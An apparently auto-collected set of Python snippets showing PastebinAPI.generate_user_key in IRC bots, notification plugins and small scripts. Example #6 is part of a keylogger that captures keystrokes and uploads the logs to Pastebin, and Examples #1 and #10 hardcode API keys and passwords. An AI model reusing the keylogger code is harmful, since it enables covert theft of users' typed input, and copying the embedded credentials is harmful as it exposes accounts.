Example #1
1
 def upload_to_pastebin(self,text):
     api_dev_key =  '2a3df06fe524ed88d15b660ccdca21dc'
     api_paste_code = text
     paste_name = 'OpenHack2012'        
     pastebinObj = PastebinAPI()
     api_user_key = pastebinObj.generate_user_key(api_dev_key, "openhack2012", "yahoo")
     ret = pastebinObj.paste(api_dev_key, api_paste_code, api_user_key = api_user_key, paste_name = paste_name,
                             paste_format = None, paste_private = None,
                             paste_expire_date = None)        
     print ret,ret[20:]        
     return ret[20:]
Example #2
0
def plugin(srv, item):
    """ Pushlish the message to pastebin.com """

    srv.logging.debug("*** MODULE=%s: service=%s, target=%s", __file__,
        item.service, item.target)

    if HAVE_PASTEBIN is False:
        srv.logging.warn("Pastebin module is not available.")
        return False

    pastebin_data = item.addrs

    pastebinapi = PastebinAPI()
    api_dev_key = pastebin_data[0]
    username = pastebin_data[1]
    password = pastebin_data[2]
    pastename = 'mqttwarn'
    pasteprivate = pastebin_data[3]
    expiredate = pastebin_data[4]

    text = item.message

    try:
        api_user_key = pastebinapi.generate_user_key(
            api_dev_key,
            username,
            password)
    except Exception, e:
        srv.logging.warn("Cannot retrieve session data from pastebin: %s" % (str(e)))
        return False
Example #3
0
def plugin(srv, item):
    """ Pushlish the message to pastebin.com """

    srv.logging.debug("*** MODULE=%s: service=%s, target=%s", __file__,
                      item.service, item.target)

    if HAVE_PASTEBIN is False:
        srv.logging.warn("Pastebin module is not available.")
        return False

    pastebin_data = item.addrs

    pastebinapi = PastebinAPI()
    api_dev_key = pastebin_data[0]
    username = pastebin_data[1]
    password = pastebin_data[2]
    pastename = 'mqttwarn'
    pasteprivate = pastebin_data[3]
    expiredate = pastebin_data[4]

    text = item.message

    try:
        api_user_key = pastebinapi.generate_user_key(api_dev_key, username,
                                                     password)
    except Exception, e:
        srv.logging.warn("Cannot retrieve session data from pastebin: %s" %
                         (str(e)))
        return False
Example #4
0
def plugin(srv, item):
    """ Pushlish the message to pastebin.com """

    srv.logging.debug("*** MODULE=%s: service=%s, target=%s", __file__,
        item.service, item.target)

    pastebin_data = item.addrs

    pastebinapi = PastebinAPI()
    api_dev_key = pastebin_data[0]
    username = pastebin_data[1]
    password = pastebin_data[2]
    pastename = 'mqttwarn'
    pasteprivate = pastebin_data[3]
    expiredate = pastebin_data[4]

    text = item.message

    try:
        api_user_key = pastebinapi.generate_user_key(
            api_dev_key,
            username,
            password)
    except Exception as e:
        srv.logging.warn("Cannot retrieve session data from pastebin: %s" % e)
        return False

    try:
        srv.logging.debug("Adding entry to pastebin.com as user %s..." % (username))
        pastebinapi.paste(
            api_dev_key,
            text,
            api_user_key = api_user_key,
            paste_name = pastename,
            paste_format = None,
            paste_private = pasteprivate,
            paste_expire_date = expiredate
            )
        srv.logging.debug("Successfully added paste to pastebin")
    except Exception as e:
        srv.logging.warn("Cannot publish to pastebin: %s" % e)
        return False

    return True
Example #5
0
def main():
    pb = PastebinAPI()
    api_dev_key = os.environ['PASTEBIN_DEV_KEY']
    username = os.environ['PASTEBIN_USERNAME']
    password = os.environ['PASTEBIN_PASSWORD']
    # generating session key which will be needed after wards
    api_user_key = pb.generate_user_key(api_dev_key, username, password)

    all_pastes = pb.pastes_by_user(api_dev_key,
                                   api_user_key,
                                   results_limit=None)
    pastes_xml = "<all_pastes>" + all_pastes + "</all_pastes>"
    soup = bs(pastes_xml, 'xml')
    for paste_name in soup.findAll('paste_title'):
        if paste_name.string == "upcoming_events":
            paste_parent = paste_name.parent
            for key in paste_parent.find('paste_key'):
                # getting the key of the upcoming_events paste
                upcoming_events_key = key.string
            break
    events_json = requests.get("http://pastebin.com/raw/{}".format(
        upcoming_events_key)).json()  # getting paste data
    return events_json
Example #6
0
           config.pastebin_api_dev_key:
            with open(log_file, 'r') as f:
                payload = f.read()
                upload_to_pastebin(os.path.basename('{}_aes'.format(log_file)),
                                   encrypted_aes_key, pb_api, pb_api_key,
                                   pb_user_key)
                upload_to_pastebin(os.path.basename(log_file), payload, pb_api,
                                   pb_api_key, pb_user_key)
            buff['keypress_upload_count'] = 0

    return onKeyPress


pb_api = PastebinAPI()
pb_user_key = pb_api.generate_user_key(config.pastebin_api_dev_key,
                                       config.pastebin_username,
                                       config.pastebin_password)

hook = pyxhook.HookManager()
# this is where the magick happens!
hook.KeyDown = getOnKeyPress(buff, pb_api, config.pastebin_api_dev_key,
                             pb_user_key)
hook.HookKeyboard()

try:
    hook.start()
    log('[*] Saving encrypted keystrokes to {}'.format(log_file), verbose)
except KeyboardInterrupt:
    # User cancelled from command line.
    pass
except Exception as ex:
Example #7
0

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Access and use Pastebin API')
    parser.add_argument('-c',
                        '--config',
                        dest='config',
                        default=os.path.join(os.getenv('HOME'), '.pbcreds'),
                        help='Configuration file path')
    args = parser.parse_args()

    (api_dev_key, username, password) = get_creds(args.config)

    pclient = PastebinAPI(api_dev_key)
    try:
        api_user_key = str(pclient.generate_user_key(username, password))
        # print('API user key: %s' % api_user_key)
    except PastebinError as e:
        print("[-] Pastebin get user key: %s" % e)
    """
    try:
        new_pastie_url = pclient.paste(
            "Hello World!",
            "Hi",
            None,
            False,
            'private',
            '10M')
        print('New pastie URL: %s' % new_pastie_url)
    except PastebinError as e:
        print("[-] Pastebin paste: %s" % e)
Example #8
0
class PPDBot(ircbot.SingleServerIRCBot):
    def __init__(self, nickname=NICK, server=HOST, port=PORT, channel=CHAN):
        ircbot.SingleServerIRCBot.__init__(self, [(server, port)], nickname,
                                           nickname)
        self.reactor.add_global_handler('all_events', self.command_caller)
        self.cbot = cbot
        self.cbots = {}
        self.channel = channel
        self.build_commands()
        self.pick = pickle
        self.datetime = datetime
        self.tyme = time
        self.fnmatch = fnmatch
        self.version = VERSION
        self.re = re
        self.rng = random
        self.soop = BeautifulSoup
        self.url2 = urllib2
        self.url3 = urllib3
        self.boss = '%s.users.quakenet.org' % BOSS
        self.hashlib = hashlib
        self.mqueue = []
        self.urllib = urllib
        self.requests = requests
        #self.stripclub = stripclub
        self.udquery = udquery
        self.math = math
        self.os = os
        self.sys = sys
        self.json = json
        self.traceback = traceback
        self.botconfig = {}
        trpbot_commands.on_initialize(os.path.isfile, pickle, json, time)
        self.braining()
        self.reactor.execute_every(2.0, self.process_mqueue)
        self.load_config()
        self.pb = PastebinAPI()
        self.pbkey = None
        self.AUTOJOIN = trpbot_commands.AUTOJOIN
        self.socket = socket
        if 'pb_devkey' in self.botconfig and 'pb_username' in self.botconfig and 'pb_password' in self.botconfig and self.botconfig[
                'pb_devkey'] and self.botconfig[
                    'pb_username'] and self.botconfig['pb_password']:
            self.pbkey = self.pb.generate_user_key(
                self.botconfig['pb_devkey'], self.botconfig['pb_username'],
                self.botconfig['pb_password'])
        #def execute_every(self, period, function, arguments=())

    def load_config(self):
        if os.path.isfile(CONFIG):
            with open(CONFIG) as f:
                self.botconfig = json.load(f)
        else:
            self.botconfig = {
                'pb_devkey': '',
                'pb_username': '',
                'pb_password': '',
                'irc_auth': '',
            }
            self.save_config()

    def braining(self):
        if os.path.isfile(BRAIN_FILE):
            f = open(BRAIN_FILE, 'r')
            for line in f:
                add_to_brain(line, chain_length)
            uprint('Brain loaded!')
            f.close()
        else:
            uprint(
                'Hoi! I need me some brains! Whaddya think I am, the Tin Man?')

    def save_config(self):
        with open(CONFIG, 'wb') as f:
            self.json.dump(self.botconfig, f, sort_keys=True, indent=4)

    def process_mqueue(self):
        if not len(self.mqueue):
            return
        c, target, msg = self.mqueue.pop(0)
        uprint('PPDBot (in %s): %s' % (
            target,
            msg,
        ))
        try:
            msg = ''.join(msg.splitlines())
            msg1 = '%s06%s%s' % (chr(3), msg[:386], chr(3))
            msg2 = ''
            if len(msg) > 386:
                msg1 = '%s06%s%s' % (chr(3), msg[:386].rsplit(' ',
                                                              1)[0], chr(3))
                msg2 = msg[len(msg1) - 3:]
            c.privmsg(target, msg1)
            if len(msg2):
                self.mqueue.append((c, target, msg2))
        except:
            #print('process_mqueue exception: %s' % (self.sys.exc_info(),))
            traceback.print_exc(file=sys.stdout)

    def add_mqueue(self, c, target, msg):
        self.mqueue.append((c, target, msg))

    def build_commands(self):
        self.commands = {}
        self.chatcmds = {}
        found = getmembers(trpbot_commands, isfunction)
        for fname, f in found:
            if len(fname) > 3 and fname[0:3] == 'on_':
                self.commands[fname] = f
            elif len(fname) > 4 and fname[0:4] == 'cmd_':
                self.chatcmds[fname] = f

    def command_caller(self, c, e):
        event_name = 'on_%s' % (e.type, )
        if event_name in self.commands:
            self.commands[event_name](self, c, e)
        #print('%s: %s' % (e.type,e.arguments[0] if len(e.arguments) else ''))

    def on_pubmsg(self, c, e):
        if e.target in self.channels:
            ch = self.channels[e.target]
            if self.boss in e.source and e.arguments[0] == '.reload':
                reloader.reload(trpbot_commands)
                self.build_commands()
                self.add_mqueue(c, e.target, 'Reload complete.')
            elif self.boss in e.source and e.arguments[0] == '.die':
                raise KeyboardInterrupt('Die Command Received.')
        msg = e.arguments[0].strip()
        nick = e.source.nick
        mcmsg = ' '.join(e.arguments).encode('ascii', 'ignore')
        #uprint(mcmsg)
        if reply == '1':
            if c.get_nickname() in mcmsg:
                #time.sleep(0.2) #to prevent flooding
                #mcmsg = re.compile(c.get_nickname() + '[:,]* ?', re.I).sub('', mcmsg)
                prefix = '%s: ' % (nick, )
            else:
                prefix = ''

            add_to_brain(mcmsg, chain_length, write_to_file=True)
            #uprint(mcmsg) #prints to stdout what sadface added to brain
            if prefix or random.random() <= chattiness:
                sentence = generate_sentence(mcmsg, chain_length, max_words)
                if sentence:
                    self.add_mqueue(c, e.target, prefix + sentence)
                    #uprint(prefix + sentence) # ">" + "\t" + sentence #prints to stdout what sadface said

# Replies to messages starting with the bot's name.
        elif reply == '2':
            if mcmsg.startswith(
                    c.get_nickname):  #matches nickname, mecause of Noxz
                #time.sleep(0.2) #to prevent flooding
                #mcmsg = re.compile(c.get_nickname + "[:,]* ?", re.I).sub('', mcmsg)
                prefix = "%s: " % (nick, )
            else:
                #mcmsg = re.compile(c.get_nickname + "[:,]* ?", re.I).sub('', mcmsg)
                prefix = ''

            add_to_brain(mcmsg, chain_length, write_to_file=True)
            #print "\t" + msg #prints to stdout what sadface added to brain
            if prefix or random.random() <= chattiness:
                sentence = generate_sentence(mcmsg, chain_length, max_words)
                if sentence:
                    self.add_mqueue(c, e.target, prefix + sentence)
                    #uprint(prefix + sentence) #prints to stdout what sadface said
        else:  #for when you don't want it talking back
            #print mcmsg
            prefix = ''
            add_to_brain(mcmsg, chain_length, write_to_file=True)
            if prefix or random.random() <= chattiness:
                #                sentence = generate_sentence(mcmsg, chain_length, max_words)
                pass

    def on_nicknameinuse(self, c, e):
        c.nick('%s-' % (c.get_nickname(), ))

    def on_welcome(self, c, e):
        uprint('Connected! Authing...')
        if AUTH or ('irc_auth' in self.botconfig
                    and self.botconfig['irc_auth']):
            c.send_raw(AUTH if AUTH else self.botconfig['irc_auth'])
            c.mode(c.get_nickname(), '+x')
            uprint('Authed!')
        c.join(self.channel)
        for each_chan in trpbot_commands.AUTOJOIN:
            c.join(each_chan)
            self.add_mqueue(
                c, each_chan, '%s has arrived to touch your no no places.' %
                (c.get_nickname(), ))

    def on_ctcp(self, c, e):
        nick = e.source.nick
        #uprint(' '.join(e.arguments))
        if e.arguments[0] == 'VERSION':
            c.ctcp_reply(nick, 'VERSION %s' % (VERSION, ))
        elif e.arguments[0] == 'PING':
            if len(e.arguments) > 1:
                #c.send_raw('PONG %s' % (e.arguments[1],))
                c.ctcp_reply(nick, 'PONG %s' % (e.arguments[1], ))
                uprint('PONG %s' % (e.arguments[1], ))
            else:
                #c.send_raw('PONG')
                c.ctcp_reply(nick, 'PONG')
                uprint('PONG')
        elif e.arguments[0] == 'DCC':
            uprint('on_ctcp DCC: %s/%s/%s' % (
                e.arguments,
                e.target,
                e.source,
            ))
            msg = e.arguments[1]
        elif e.arguments[0] == 'DCC' and e.arguments[1].split(' ',
                                                              1)[0] == 'CHAT':
            self.on_dccchat(c, e)

    def on_dccchat(self, c, e):
        pass

    def on_disconnect(self, c, e):
        uprint('Disconnected.')
        if keeptrying == True:
            uprint('Must reconnect. Reconnecting...')
            bot.start()

    def connected_checker(self):
        if not self.connection.is_connected() and keeptrying == True:
            uprint('Reconnecting...')
            bot.start()
Example #9
0
class PPDBot(ircbot.SingleServerIRCBot):
	def __init__(self,nickname=NICK,server=HOST,port=PORT,channel=CHAN):
		ircbot.SingleServerIRCBot.__init__(self,[(server, port)],nickname,nickname)
		self.reactor.add_global_handler('all_events',self.command_caller)
		self.cbot = cbot
		self.cbots = {}
		self.channel = channel
		self.build_commands()
		self.pick = pickle
		self.datetime = datetime
		self.tyme = time
		self.fnmatch = fnmatch
		self.version = VERSION
		self.re = re
		self.rng = random
		self.soop = BeautifulSoup
		self.url2 = urllib2
		self.url3 = urllib3
		self.boss = '%s.users.quakenet.org' % BOSS
		self.hashlib = hashlib
		self.mqueue = []
		self.urllib = urllib
		self.requests = requests
		#self.stripclub = stripclub
		self.udquery = udquery
		self.math = math
		self.os = os
		self.sys = sys
		self.json = json
		self.traceback = traceback
		self.botconfig = {}
		trpbot_commands.on_initialize(os.path.isfile,pickle,json,time)
                self.braining()
		self.reactor.execute_every(2.0,self.process_mqueue)
		self.load_config()
		self.pb = PastebinAPI()
		self.pbkey = None
		self.AUTOJOIN = trpbot_commands.AUTOJOIN
		self.socket = socket
		if 'pb_devkey' in self.botconfig and 'pb_username' in self.botconfig and 'pb_password' in self.botconfig and self.botconfig['pb_devkey'] and self.botconfig['pb_username'] and self.botconfig['pb_password']:
			self.pbkey = self.pb.generate_user_key(self.botconfig['pb_devkey'],self.botconfig['pb_username'],self.botconfig['pb_password'])
		#def execute_every(self, period, function, arguments=())

	
	def load_config(self):
		if os.path.isfile(CONFIG):
			with open(CONFIG) as f:
				self.botconfig = json.load(f)
		else:
			self.botconfig = {
				'pb_devkey':'',
				'pb_username':'',
				'pb_password':'',
				'irc_auth':'',
			}
			self.save_config()
			
        def braining(self):
            if os.path.isfile(BRAIN_FILE):
                f = open(BRAIN_FILE, 'r')
                for line in f:
                        add_to_brain(line, chain_length)
                uprint('Brain loaded!')
                f.close()
            else:
                uprint('Hoi! I need me some brains! Whaddya think I am, the Tin Man?')

	def save_config(self):
		with open(CONFIG,'wb') as f:
			self.json.dump(self.botconfig,f,sort_keys=True,indent=4)

	def process_mqueue(self):
		if not len(self.mqueue):
			return
		c,target,msg = self.mqueue.pop(0)
		uprint('PPDBot (in %s): %s' % (target,msg,))
		try:
			msg = ''.join(msg.splitlines())
			msg1 = '%s06%s%s' % (chr(3),msg[:386],chr(3))
			msg2 = ''
			if len(msg) > 386:
			    msg1 = '%s06%s%s' % (chr(3),msg[:386].rsplit(' ',1)[0],chr(3))
			    msg2 = msg[len(msg1)-3:]
			c.privmsg(target,msg1)
			if len(msg2):
				self.mqueue.append((c,target,msg2))
		except:
			#print('process_mqueue exception: %s' % (self.sys.exc_info(),))
			traceback.print_exc(file=sys.stdout)
			
	def add_mqueue(self,c,target,msg):
		self.mqueue.append((c,target,msg))
		
	def build_commands(self):
		self.commands = {}
		self.chatcmds = {}
		found = getmembers(trpbot_commands,isfunction)
		for fname,f in found:
			if len(fname) > 3 and fname[0:3] == 'on_':
				self.commands[fname] = f
			elif len(fname) > 4 and fname[0:4] == 'cmd_':
				self.chatcmds[fname] = f

	def command_caller(self,c,e):
		event_name = 'on_%s' % (e.type,)
		if event_name in self.commands:
			self.commands[event_name](self,c,e)
		#print('%s: %s' % (e.type,e.arguments[0] if len(e.arguments) else ''))


			
	def on_pubmsg(self,c,e):
		if e.target in self.channels:
			ch = self.channels[e.target]
			if self.boss in e.source and e.arguments[0] == '.reload':
				reloader.reload(trpbot_commands)
				self.build_commands()
				self.add_mqueue(c,e.target,'Reload complete.')
                        elif self.boss in e.source and e.arguments[0] =='.die':
                                raise KeyboardInterrupt('Die Command Received.')
		msg = e.arguments[0].strip()
                nick = e.source.nick
                mcmsg = ' '.join(e.arguments).encode('ascii','ignore')
                #uprint(mcmsg)
                if reply == '1':
                    if c.get_nickname() in mcmsg:
                        #time.sleep(0.2) #to prevent flooding
                        #mcmsg = re.compile(c.get_nickname() + '[:,]* ?', re.I).sub('', mcmsg)
                        prefix = '%s: ' % (nick, )
                    else:
                        prefix = '' 

                    add_to_brain(mcmsg, chain_length, write_to_file=True)
                    #uprint(mcmsg) #prints to stdout what sadface added to brain
                    if prefix or random.random() <= chattiness:
                        sentence = generate_sentence(mcmsg, chain_length, max_words)
                        if sentence:
                            self.add_mqueue(c,e.target,prefix + sentence)
                            #uprint(prefix + sentence) # ">" + "\t" + sentence #prints to stdout what sadface said
                # Replies to messages starting with the bot's name.
                elif reply == '2':
                    if mcmsg.startswith(c.get_nickname): #matches nickname, mecause of Noxz
                        #time.sleep(0.2) #to prevent flooding
                        #mcmsg = re.compile(c.get_nickname + "[:,]* ?", re.I).sub('', mcmsg)
                        prefix = "%s: " % (nick, )
                    else:
                        #mcmsg = re.compile(c.get_nickname + "[:,]* ?", re.I).sub('', mcmsg)
                        prefix = '' 

                    add_to_brain(mcmsg, chain_length, write_to_file=True)
                    #print "\t" + msg #prints to stdout what sadface added to brain
                    if prefix or random.random() <= chattiness:
                        sentence = generate_sentence(mcmsg, chain_length, max_words)
                        if sentence:
                            self.add_mqueue(c,e.target,prefix + sentence)
                            #uprint(prefix + sentence) #prints to stdout what sadface said
                else:     #for when you don't want it talking back
                    #print mcmsg
                    prefix = '' 
                    add_to_brain(mcmsg, chain_length, write_to_file=True)
                    if prefix or random.random() <= chattiness:
        #                sentence = generate_sentence(mcmsg, chain_length, max_words)
                        pass

	def on_nicknameinuse(self,c,e):
		c.nick('%s-' % (c.get_nickname(),))
		
	def on_welcome(self,c,e):
                uprint('Connected! Authing...')
		if AUTH or ('irc_auth' in self.botconfig and self.botconfig['irc_auth']):
			c.send_raw(AUTH if AUTH else self.botconfig['irc_auth'])
			c.mode(c.get_nickname(),'+x')
			uprint('Authed!')
		c.join(self.channel)
		for each_chan in trpbot_commands.AUTOJOIN:
			c.join(each_chan)
			self.add_mqueue(c,each_chan,'%s has arrived to touch your no no places.' % (c.get_nickname(),))
		
	def on_ctcp(self,c,e):
		nick = e.source.nick
		#uprint(' '.join(e.arguments))
		if e.arguments[0] == 'VERSION':
			c.ctcp_reply(nick,'VERSION %s' % (VERSION,))
		elif e.arguments[0] == 'PING':
                        if len(e.arguments) > 1:
                                #c.send_raw('PONG %s' % (e.arguments[1],))
                                c.ctcp_reply(nick,'PONG %s' % (e.arguments[1],))
                                uprint('PONG %s' % (e.arguments[1],))
                        else:
                                #c.send_raw('PONG')
                                c.ctcp_reply(nick,'PONG')
                                uprint('PONG')
		elif e.arguments[0] == 'DCC':
		        uprint('on_ctcp DCC: %s/%s/%s' % (e.arguments,e.target,e.source,))
		        msg = e.arguments[1]
		elif e.arguments[0] == 'DCC' and e.arguments[1].split(' ',1)[0] == 'CHAT':
			self.on_dccchat(c,e)
		        
	def on_dccchat(self,c,e):
		pass

        def on_disconnect(self,c,e):
                uprint('Disconnected.')
                if keeptrying == True:
                        uprint('Must reconnect. Reconnecting...')
                        bot.start()
                        
        def connected_checker(self):
            if not self.connection.is_connected() and keeptrying == True:
                uprint('Reconnecting...')
                bot.start()
Example #10
0
from pastebin import PastebinAPI

my_key = PastebinAPI.generate_user_key(api_dev_key, 'qdpatchnotes', 'moonbreak107044')
print (my_key)